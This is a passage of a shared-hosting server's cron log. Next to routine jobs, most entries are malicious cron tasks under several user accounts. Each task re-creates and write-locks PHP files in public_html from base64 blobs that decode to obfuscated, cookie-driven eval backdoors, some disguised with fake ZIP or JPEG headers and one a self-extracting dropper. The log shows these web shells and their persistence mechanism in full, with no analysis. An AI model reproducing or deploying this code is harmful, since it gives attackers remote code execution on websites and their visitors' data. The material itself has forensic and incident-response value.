CRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:06:02 medusa CROND[13796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:06:02 medusa CROND[13799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:06:02 medusa CROND[13800]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:06:02 medusa CROND[13810]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:06:02 medusa CROND[13811]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:06:02 medusa CROND[13813]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:06:02 medusa CROND[13818]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:06:02 medusa CROND[13821]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:06:02 medusa CROND[13819]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:07:01 medusa CROND[29712]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:07:01 medusa CROND[29876]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:07:01 medusa CROND[30014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:07:01 medusa CROND[30021]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:07:01 medusa CROND[30022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:07:01 medusa CROND[30023]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:07:01 medusa CROND[30024]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:07:01 medusa CROND[30028]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:07:01 medusa CROND[30033]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:07:01 medusa CROND[30034]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:07:01 medusa CROND[30035]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:07:01 medusa CROND[30037]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:08:01 medusa CROND[17803]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:08:01 medusa CROND[17822]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:08:01 medusa CROND[17823]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:08:01 medusa CROND[17824]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:08:01 medusa CROND[17825]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:08:01 medusa CROND[17826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:08:01 medusa CROND[17827]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:08:01 medusa CROND[17831]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
